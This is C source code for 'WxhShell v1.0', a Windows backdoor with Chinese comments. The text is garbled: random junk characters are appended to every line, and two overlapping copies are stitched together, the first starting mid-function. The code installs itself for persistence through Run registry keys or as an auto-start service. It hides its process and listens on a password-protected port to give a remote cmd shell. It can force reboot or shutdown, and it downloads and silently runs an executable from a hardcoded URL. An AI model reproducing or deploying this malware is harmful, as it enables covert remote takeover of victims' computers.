    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?) [EO(D  
    if(Boot(SHUTDOWN)) D <&X_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h%?QC  
    else { (+u39NQV  
    closesocket(wsh); !V\Q<So<  
    ExitThread(0); T G{k0cdOT  
    } t{FlB!jv  
    break; ;._7jFj.  
    } 8&~~j7p,  
  // 获取shell k^%B5  
  case 's': { )m{Ye0!RD  
    CmdShell(wsh); AUNQA  
    closesocket(wsh); $m+sNEAa  
    ExitThread(0); UIAj]  
    break; x-<)\L&  
  } .YnFH$;$  
  // 退出 :.d:9Z|_  
  case 'x': { \&3"<6xA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f=!VsR2o  
    CloseIt(wsh); {g~bQ2wDC  
    break; uN^=<B?B  
    } S h,&{z!  
  // 离开 rBTeb0i?  
  case 'q': { C2xL1`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )+"'oY$]}  
    closesocket(wsh); |t) }VM%  
    WSACleanup(); !x>%+&c>k  
    exit(1); T?1Du"d8  
    break; lGk{LO)  
        } pY~,(s|Qb  
  } b0A1hb[|  
  } qY$qaM^=  
TsUOpEuX  
  // 提示信息 E+tB&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a/U2xq{x  
} _s$_Sa ;  
  } P<2 +L|X?}  
|vMpXiMxxT  
  return; saAxGG  
} gE hN3(  
@]c(V%x   
// shell模块句柄 hj$ e|arB  
int CmdShell(SOCKET sock) 8kOKwEX  
{ N0w`!<y:c  
STARTUPINFO si; +|{RE.DL  
ZeroMemory(&si,sizeof(si)); #E+gXan  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o|iYd n\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c8M2 ^{O,`  
PROCESS_INFORMATION ProcessInfo; aJe^Tp(  
char cmdline[]="cmd";  ^eGNgE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CWG6;NT6m  
  return 0; st &  
} 2Nm>5l  
kctzNGF|  
// 自身启动模式 ^(f4*m6`  
int StartFromService(void) L0]_hxE?  
{ @a>2c$%  
typedef struct GF:`>u{C  
{ 6PF8 /@Nh  
  DWORD ExitStatus; Z,;cCxE  
  DWORD PebBaseAddress; ror|R@;y  
  DWORD AffinityMask; %Lrd6i_j  
  DWORD BasePriority; f0SAP0M3  
  ULONG UniqueProcessId; ^*= 85iyo  
  ULONG InheritedFromUniqueProcessId; N+)?$[  
}   PROCESS_BASIC_INFORMATION; ,prF6*g+WE  
0\~Z5k`IT  
PROCNTQSIP NtQueryInformationProcess; q )lnS )  
FvuGup`w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bo=ZM9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !.<T"8BUpv  
H,<7G;FPT  
  HANDLE             hProcess; R%H$%cnj  
  PROCESS_BASIC_INFORMATION pbi; %F9{EXJy  
o}'bv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \cJ-Dd  
  if(NULL == hInst ) return 0; $]&(7@'qo  
vN OH&ja-s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b*mKei  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >x@P|\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c<BO gNr  
L]hXp t  
  if (!NtQueryInformationProcess) return 0; W*:,m8wk  
LFp]7Dq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .LRxP#B  
  if(!hProcess) return 0; 3PUAH  
E%TpJl'U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !b-bP,q  
Na,_  
  CloseHandle(hProcess); ` C+HE$B  
ixh47M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O0*e)i8  
if(hProcess==NULL) return 0; ZRUhAp'<qj  
?Jusl8Sm  
HMODULE hMod; wVA|!>v  
char procName[255]; XfzVcap  
unsigned long cbNeeded; PaCzr5!~f  
jSQ9.%4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5NXt$k5  
ZDYJhJ.  
  CloseHandle(hProcess); Zz |MIGHm  
Bl1Z4` 3  
if(strstr(procName,"services")) return 1; // 以服务启动 rn:!dV[  
|"$uRV=qm  
  return 0; // 注册表启动 0-3rQ~u  
} )W&>[B  
])#\_' fg  
// 主模块 %im#ww L%  
int StartWxhshell(LPSTR lpCmdLine) ,rwuy[Q8  
{ w[Ep*-yeI  
  SOCKET wsl; npu6E;'l*  
BOOL val=TRUE; V5GkP1L  
  int port=0; |\uYv|sT  
  struct sockaddr_in door; bv dR"G  
h? yG<>wI  
  if(wscfg.ws_autoins) Install(); 2 vKx]w  
>1irSUj"~  
port=atoi(lpCmdLine); A~{f/%8D  
AzpV4(:an.  
if(port<=0) port=wscfg.ws_port; $ 'QdFkOr  
]&i+!$N_  
  WSADATA data; w.+Eyu_I\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >^"BEG9i:  
/=#~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x@cN3O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K,}w]b  
  door.sin_family = AF_INET; ~%|G+m>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xQlT%X;'  
  door.sin_port = htons(port); H.J5i~s  
?&h3P8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =ziy`#fm,  
closesocket(wsl); *R`MMm  
return 1; PG)_L.7rJ  
} K2/E#}/  
f!-Sz/c#  
  if(listen(wsl,2) == INVALID_SOCKET) { F}rPY:  
closesocket(wsl); 4W\,y_Q o  
return 1; ]Bb7(JX  
} mKg@W;0ML  
  Wxhshell(wsl); ke.7Zp2.R  
  WSACleanup(); GZ0aOpUWVq  
WY)^1Gb$ux  
return 0; s"0b%0?A  
o;-<|W>  
} }Pg' vJW  
0v"&G<J  
// 以NT服务方式启动 Wc#:f 8dr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ha ZFxh-(  
{ bEr.nF  
DWORD   status = 0; %f[Ep 3D  
  DWORD   specificError = 0xfffffff; D?+ RJs  
>4![&&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >3 Ko.3&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n'64;J5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `h;}3r#R{  
  serviceStatus.dwWin32ExitCode     = 0; n2;9geq+  
  serviceStatus.dwServiceSpecificExitCode = 0; 6;uBZ &g  
  serviceStatus.dwCheckPoint       = 0; 5FuK\y  
  serviceStatus.dwWaitHint       = 0; ?'~;Q)  
1]/N2&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,p,Du F  
  if (hServiceStatusHandle==0) return; U=o Z.\  
a0zG(7.D  
status = GetLastError(); NR/-m7#-  
  if (status!=NO_ERROR) |Odu4 Q  
{ .Y/-8H-3v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m(3);)d  
    serviceStatus.dwCheckPoint       = 0; 4IGxI7~27#  
    serviceStatus.dwWaitHint       = 0; ~! Lw1]&  
    serviceStatus.dwWin32ExitCode     = status; .w FU:y4r  
    serviceStatus.dwServiceSpecificExitCode = specificError; z(d4)z 8'6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lfMH1llx  
    return; K M]Wl_z  
  } L^KdMMz;  
$k(9 U\y-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eECj_eH-  
  serviceStatus.dwCheckPoint       = 0; @]3*B %t  
  serviceStatus.dwWaitHint       = 0; C/+nSe.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7L{li-crI  
} p6blD-v  
!=M/j}  
// 处理NT服务事件,比如:启动、停止 6bL"LM`s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lgG8!Ja  
{ .D@/y uV  
switch(fdwControl) !yCl(XT  
{ &8Wlps`  
case SERVICE_CONTROL_STOP: <jL#>L%%  
  serviceStatus.dwWin32ExitCode = 0; mahi7eU P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m0iV m|  
  serviceStatus.dwCheckPoint   = 0; x[m'FsR4  
  serviceStatus.dwWaitHint     = 0; T^.{9F]*S  
  { $wXih#7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fle0c^=  
  } u@"o[e':  
  return; ty;o&w$  
case SERVICE_CONTROL_PAUSE: aT/KT,!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  ,(hY%M&\  
  break; KS>Fl->  
case SERVICE_CONTROL_CONTINUE: 2wOy}:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I;iR(Hf)?q  
  break; lWl-@ *'  
case SERVICE_CONTROL_INTERROGATE: 2 TCRS#z  
  break; 5fxbA2\  
}; $WD +Q@6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?hSha)1:  
} WA$ p_% r=  
s{%fi*  
// 标准应用程序主函数 3&'R1~Vh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cs;<'[_?YO  
{ NQ3|\<Wt  
#y`k$20"  
// 获取操作系统版本 e6es0D[>5  
OsIsNt=GetOsVer(); - coy@S=.'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K#U{<pUP  
?',}? {"c  
  // 从命令行安装 p d%LL?O  
  if(strpbrk(lpCmdLine,"iI")) Install(); D;yd{]<  
R]fYe#!"  
  // 下载执行文件 Dpp@*xX>  
if(wscfg.ws_downexe) { @>9A$w$H|a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *%f3rvt7@)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'v`~(9'Rcj  
} G32_FQ$ b  
n=SzF(S[M  
if(!OsIsNt) { :6sGX p  
// 如果时win9x,隐藏进程并且设置为注册表启动 'XME?H:q a  
HideProc(); z7$}#)Z7  
StartWxhshell(lpCmdLine); 6 cr^<]v!  
} Uc>LFX& -B  
else o[H\{a>  
  if(StartFromService()) |<2JQ[]  
  // 以服务方式启动 iqlVlm>E  
  StartServiceCtrlDispatcher(DispatchTable); IM|Se4;x  
else @%keTTZ  
  // 普通方式启动 t;~-_{  
  StartWxhshell(lpCmdLine); FrgV@4'2G  
Bzwx0c2VY8  
return 0; qIUC2,&g  
} zVn*!c  
GHqBnE{B  
vzQyE0T/  
@Yb Z 8Uc  
=========================================== Hm<M@M$aG  
-<12~HKK::  
gtl;P_  
aSxG|OkKy  
Ny[s+2?  
"Vq@bNtu+  
" y>&VtN{E  
)<tzm'Rc  
#include <stdio.h> 8:BQHYeJK  
#include <string.h> oO}>i0ax*  
#include <windows.h> X$ejy/+.  
#include <winsock2.h> s:G [Em1  
#include <winsvc.h> gx&\Kw6HM  
#include <urlmon.h> N_*u5mfQX  
TosPk(o(  
#pragma comment (lib, "Ws2_32.lib") tgS+" ugl  
#pragma comment (lib, "urlmon.lib") _;%.1H{N  
R\i]O  
#define MAX_USER   100 // 最大客户端连接数 ENpaaW@!Y  
#define BUF_SOCK   200 // sock buffer 4E,hcu  
#define KEY_BUFF   255 // 输入 buffer )62q|c9F  
c@)pKi#W  
#define REBOOT     0   // 重启 qL u8!|QT  
#define SHUTDOWN   1   // 关机 }b<87#Nb9R  
ArLz;#AOn  
#define DEF_PORT   5000 // 监听端口 yg.\^C  
K7y!s :rg!  
#define REG_LEN     16   // 注册表键长度 qb 46EZu  
#define SVC_LEN     80   // NT服务名长度 .)?2)Fl  
=ulr_i%Xs  
// 从dll定义API / N*HE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U=_~{[/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =t ~+63)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O>kXysMv>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :tg@HyY)  
Cw@k.{*7,  
// wxhshell配置信息 DHSU?o#jY  
struct WSCFG { KLj4 LOs  
  int ws_port;         // 监听端口 0:PH[\Z  
  char ws_passstr[REG_LEN]; // 口令 :$+D 2*(  
  int ws_autoins;       // 安装标记, 1=yes 0=no c g3Cl[s  
  char ws_regname[REG_LEN]; // 注册表键名 vEX|Q\b6'  
  char ws_svcname[REG_LEN]; // 服务名 wGZ>iLe:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m.;{ 8AM%f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -O>^eMWywo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -%7Jj;yA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jcT{ugpq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )@sJTAK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RcKQER  
m&(%&}g  
}; f/$-Nl.  
3W%f#d$`  
// default Wxhshell configuration 00$ @0  
struct WSCFG wscfg={DEF_PORT, vCYSm  0  
    "xuhuanlingzhe", 8T!fGzHx  
    1, }D&"z8mP  
    "Wxhshell", `lH1IA/3  
    "Wxhshell", FCUVP,"T  
            "WxhShell Service", rQ 9?N^&!%  
    "Wrsky Windows CmdShell Service", }L{_xyi>#  
    "Please Input Your Password: ", Y#Sd2h,^X  
  1, jb#1&L 14  
  "http://www.wrsky.com/wxhshell.exe", 5#N"WHz!  
  "Wxhshell.exe" v^FV t  
    }; O?+tY y?  
GF$rPY[  
// 消息定义模块 8YT_DM5iI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; . x\/XlM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6:SK{RSURC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;p?42rCIcl  
char *msg_ws_ext="\n\rExit."; BWqik_  
char *msg_ws_end="\n\rQuit."; [MSDk"o&  
char *msg_ws_boot="\n\rReboot..."; gdkLPZ<<  
char *msg_ws_poff="\n\rShutdown..."; K{eqB!@j  
char *msg_ws_down="\n\rSave to "; zyQ,unu  
zz+M1n-;o  
char *msg_ws_err="\n\rErr!"; 4w?]dDyc%  
char *msg_ws_ok="\n\rOK!"; @ ~0G$  
T<9dW?'|  
char ExeFile[MAX_PATH]; kHz+ ZY<?  
int nUser = 0; 62k9"xSH  
HANDLE handles[MAX_USER]; XSL t;zL:  
int OsIsNt; k:(e79  
xIq"[?m  
SERVICE_STATUS       serviceStatus; &+|jJ{93z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 75^)Ni  
UeK, q>i  
// 函数声明 5Tcl<Y6l  
int Install(void); '>S8t/  
int Uninstall(void); ` maN5)  
int DownloadFile(char *sURL, SOCKET wsh); Y3sNr)qss  
int Boot(int flag); etQx>U  
void HideProc(void); )f:!#v(K  
int GetOsVer(void); X=*Yzz}  
int Wxhshell(SOCKET wsl); x3p;H02i\  
void TalkWithClient(void *cs); =F!",a~  
int CmdShell(SOCKET sock); :"y7Weh  
int StartFromService(void); D!OG307P  
int StartWxhshell(LPSTR lpCmdLine); +lk\oj$S+  
H *z0xxa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KNUMz4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gpO_0U4lQ]  
,_TH@0{   
// 数据结构和表定义 s$+: F$Y0  
SERVICE_TABLE_ENTRY DispatchTable[] = NL>[8#  
{ lN= m$J  
{wscfg.ws_svcname, NTServiceMain}, r~Is,.zZ}  
{NULL, NULL} <*~BG)b  
}; 56j/w[&8  
>uqS  
// 自我安装 Jte:l:yjtA  
int Install(void) 0W<nE[U  
{ hD9' `SQ  
  char svExeFile[MAX_PATH]; X&;]  
  HKEY key; $ uIwRG <  
  strcpy(svExeFile,ExeFile); ,& pF:ql F  
Pvb+   
// 如果是win9x系统,修改注册表设为自启动 2)j#O  
if(!OsIsNt) { ^r?sgJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Pg?(lr6)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,~=z_G`R  
  RegCloseKey(key); 9< 0$mE^:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V+"*A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GQ8D j!8  
  RegCloseKey(key); H(*=9  
  return 0; Pc\4 QvQ8  
    } _ UVX  
  } | xErA  
} C\hZ;Z1  
else { k0Vo  
LBiv]3  
// 如果是NT以上系统,安装为系统服务 zLIa! -C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `'WY'\|C  
if (schSCManager!=0) l2KxZteXY0  
{ Al-%j- j@-  
  SC_HANDLE schService = CreateService *{p& Fy55  
  ( 'zD;:wT  
  schSCManager, w|UKMbRMU]  
  wscfg.ws_svcname, Kt&$Si  
  wscfg.ws_svcdisp, 0Ts_"p  
  SERVICE_ALL_ACCESS, FO3eg"{N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BBuYO$p  
  SERVICE_AUTO_START, ~sU! 1  
  SERVICE_ERROR_NORMAL, w _6Y+  
  svExeFile, 1{fwr1b  
  NULL, Xta>  
  NULL, eMP Q| W  
  NULL, FoelOq6  
  NULL, \ ]e w@C  
  NULL /j5- "<;.  
  ); u Z39Vx  
  if (schService!=0) Y_ ;i  
  { x#}eC'Q  
  CloseServiceHandle(schService); 1 0Tg > H  
  CloseServiceHandle(schSCManager); Gv2./<{#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x2IU PM  
  strcat(svExeFile,wscfg.ws_svcname); JI#Enh!Lv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L|xen*O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &.bR1wX  
  RegCloseKey(key); *U^\Mwp  
  return 0; "GC]E8&>H  
    } F8r455_W"  
  } ?0)XS<  
  CloseServiceHandle(schSCManager); < $?}^ 0R  
} @Y<ZT;J  
} >*Z{@1*h  
<cS7L0h  
return 1; oB}G^t  
} @ke})0 `5  
^1& LHrT  
// 自我卸载 "jN-Yd,z  
int Uninstall(void) `/j|Rb|eow  
{ =&g}Y  
  HKEY key; aD3F!Sn  
v]Q_  
if(!OsIsNt) { (,9cCnvmYU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k)GuMw  
  RegDeleteValue(key,wscfg.ws_regname); XTXo xZ#w  
  RegCloseKey(key); 3ij I2Zy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NCpn^m)Q}  
  RegDeleteValue(key,wscfg.ws_regname); 4a50w:Jy]  
  RegCloseKey(key); YH+\rb_  
  return 0; gm\o>YclS  
  } tVh4v#@+  
} dcTM02kEh  
} Am`A[rV0  
else { >]08".ajS  
r^tXr[}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); = (h;L$  
if (schSCManager!=0) VKJ~ZIO@A  
{ F^bQ-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lNeF>zz  
  if (schService!=0) >nW}zkfn  
  { m~IWazj;A  
  if(DeleteService(schService)!=0) { b2-|e_x  
  CloseServiceHandle(schService); j I@$h_n  
  CloseServiceHandle(schSCManager); ?RAR  
  return 0; + d)~;I$  
  } ]f @LhC1x  
  CloseServiceHandle(schService); fB"gM2'  
  } nKJ7K8)  
  CloseServiceHandle(schSCManager); kITmo"$K  
} ITY!=>S-  
} `Ta(P30  
 KGwL09)  
return 1; \ #c+vfq  
} r!gCh`PiK  
MxA'T(Ay  
// 从指定url下载文件 W ]MJ!4  
int DownloadFile(char *sURL, SOCKET wsh) qvT+d l3#[  
{ }Fe{s;  
  HRESULT hr; _<}5[(qu  
char seps[]= "/"; &>B>+}'  
char *token; )$N{(Cke2T  
char *file; =WRU<`\  
char myURL[MAX_PATH]; 72.IhBNtT  
char myFILE[MAX_PATH]; DH*|>m&  
ew ,edU  
strcpy(myURL,sURL); mqc Z3lsv  
  token=strtok(myURL,seps); 3Ty{8oUs^  
  while(token!=NULL) -#M~Nb I,  
  { l'8TA~  
    file=token; =QO[zke:  
  token=strtok(NULL,seps); fv'P!+)t  
  } 4$w-A-\ t  
BcO2* 3  
GetCurrentDirectory(MAX_PATH,myFILE); $5(%M8qmQ  
strcat(myFILE, "\\"); }ucg!i3C  
strcat(myFILE, file); 5!{g6=(  
  send(wsh,myFILE,strlen(myFILE),0); vszAr( t  
send(wsh,"...",3,0); *K)53QKlE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6]49kHgMhe  
  if(hr==S_OK) "T[jQr  
return 0; 6U3@-+lF  
else WG r\R  
return 1; )cBV; E<  
<:t\P.  
} 'MlC 1HEp  
#e|kA&+8M  
// 系统电源模块 Q*{ 2  
int Boot(int flag) y9 ' 3vZ  
{ )O(Gw-jWE  
  HANDLE hToken; zX Pj7K*  
  TOKEN_PRIVILEGES tkp; .]l2)OlLQ  
Vs(Zs[  
  if(OsIsNt) { 2b` M(QL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DQQjx>CK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2xj`cFT  
    tkp.PrivilegeCount = 1; f#MN-1[67  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H<?yG->  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bx6}zkf&  
if(flag==REBOOT) { e-t`\5b;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {<BK@U  
  return 0; ,gD i)]  
} h"S/D[  
else { .H.v c_/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^: j:;\;  
  return 0; <p .[E]a2_  
} g5\B-3{  
  } \H12~=p`B  
  else {  e n":  
if(flag==REBOOT) { N^at{I6C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KPqI(  
  return 0; =MLL-a1  
} ir?9{t/()  
else { Ip-jqN J~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }H.vH  
  return 0; cv1L!Ce,  
} @>ZjeDG>  
}  e:R[  
UGgi)  
return 1; t9{EO#o' k  
} yh<aFYdk  
=,]M$M  
// win9x进程隐藏模块 2F{IDcJI\  
void HideProc(void) ^Y |s^N  
{ =c 4U%d2  
J6P Tkm}^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q;JQs:U!  
  if ( hKernel != NULL ) ;hDr+&J|  
  { HPB1d!^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )YnN9"8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t]XJ q  
    FreeLibrary(hKernel); UkKpS L}Q2  
  } qo|iw+0Y  
v_ h{_b8  
return; ?sE21m?b-  
} gV BV@v!W  
$!w%=  
// 获取操作系统版本 &rKhB-18)  
int GetOsVer(void) _>I5Ud8(-  
{ ]Hq%Q~cE  
  OSVERSIONINFO winfo; ".IhV<R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .}s a2-  
  GetVersionEx(&winfo); WH*&MIjAr/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4Rq"xYGXh  
  return 1; Z0KA4O$eL  
  else qMOD TM~+  
  return 0; `!N?#N:b)  
} zZ-*/THB@R  
n9DFa3  
// 客户端句柄模块 Tr)[q>  
int Wxhshell(SOCKET wsl) RqR  X  
{ {wySH[V  
  SOCKET wsh; f 5Oh#  
  struct sockaddr_in client; ,fRb6s-  
  DWORD myID; gw:BKR'o  
u)-l+U.  
  while(nUser<MAX_USER) KivzgNz  
{ AaVlNjB  
  int nSize=sizeof(client); M-hnBt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KW\`&ki  
  if(wsh==INVALID_SOCKET) return 1; YR2/`9s\QJ  
S0cO00_ob  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hrK^oa_[W  
if(handles[nUser]==0) IT|CfQ [D  
  closesocket(wsh);  3@*8\  
else u#<]>EtbB  
  nUser++; 1)y}.y5S  
  } (X/JXu{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "^`AS"z'  
m{|n.b  
  return 0; !v=ha%w{  
} he@swE&  
3V]a "C   
// 关闭 socket |>)mYLN!y  
void CloseIt(SOCKET wsh) gC.T5,tn  
{ qI9 BAs1~}  
closesocket(wsh); lKcnM3n  
nUser--; 6*tGf`Pfdw  
ExitThread(0); *RhdoD|a  
} .E(Ucnz/  
q=U=Y n  
// 客户端请求句柄 hE${eJQ| U  
void TalkWithClient(void *cs) fqxMTTg@  
{ ryP z q}#  
p{Uro!J,K  
  SOCKET wsh=(SOCKET)cs; XQ>m8K?\d  
  char pwd[SVC_LEN]; utv.uwfat  
  char cmd[KEY_BUFF]; %-D2I  
char chr[1]; eo !{rs@f  
int i,j; umk[\}Ip+P  
PYGHN T  
  while (nUser < MAX_USER) { o'G")o  
<pCZ+Yv E"  
if(wscfg.ws_passstr) { 3f0RMk$pH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~9=g"v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e8Jd*AKjb  
  //ZeroMemory(pwd,KEY_BUFF); I~,*Rgv/Z  
      i=0; =x> KA*O1  
  while(i<SVC_LEN) { MFrVGEQBRL  
/OEj]DNY  
  // 设置超时 >U z3F7nHi  
  fd_set FdRead; P:G^@B3^  
  struct timeval TimeOut; o/&Q^^Xj^~  
  FD_ZERO(&FdRead); G"]'`2.m  
  FD_SET(wsh,&FdRead); *=rl<?tX  
  TimeOut.tv_sec=8; {8eNQ-4I  
  TimeOut.tv_usec=0; _:J! |'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q4{ 6@q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yd $y\pN=<  
K\#+;\V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~_Aclm?  
  pwd=chr[0]; S[Et!gj:  
  if(chr[0]==0xd || chr[0]==0xa) { /n_N`VJ7H  
  pwd=0; HjrCX>v  
  break; lq74Fz&(  
  } ^c*'O0y[D  
  i++; s&4Y+dk93  
    } &}<IR\ci  
$4m{g"xL  
  // 如果是非法用户,关闭 socket z?7pn}-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lq:Z='Kc  
} ]`%cTdpLj  
C 7v 8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : 7'anj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >Gkkr{s9  
=Z2sQQVS  
while(1) { tq{ aa  
rc"yEI-``"  
  ZeroMemory(cmd,KEY_BUFF); qSON3Iid  
8D-g%Aj-  
      // 自动支持客户端 telnet标准   =73wngw  
  j=0; uXXwMc<p  
  while(j<KEY_BUFF) { @l 1 piz8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K:mb$YJ&  
  cmd[j]=chr[0]; \%UA6uj  
  if(chr[0]==0xa || chr[0]==0xd) { JHcC}+H[  
  cmd[j]=0; YkTEAI|i  
  break; _95V"h  
  } /IODRso/!  
  j++; ^XV$J-  
    } ^j@,N&W:lG  
*g7dB2{  
  // 下载文件 > >p3#~/  
  if(strstr(cmd,"http://")) { tcfUhSz,I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y>r9"X| &H  
  if(DownloadFile(cmd,wsh)) IYd)Vv3'j  
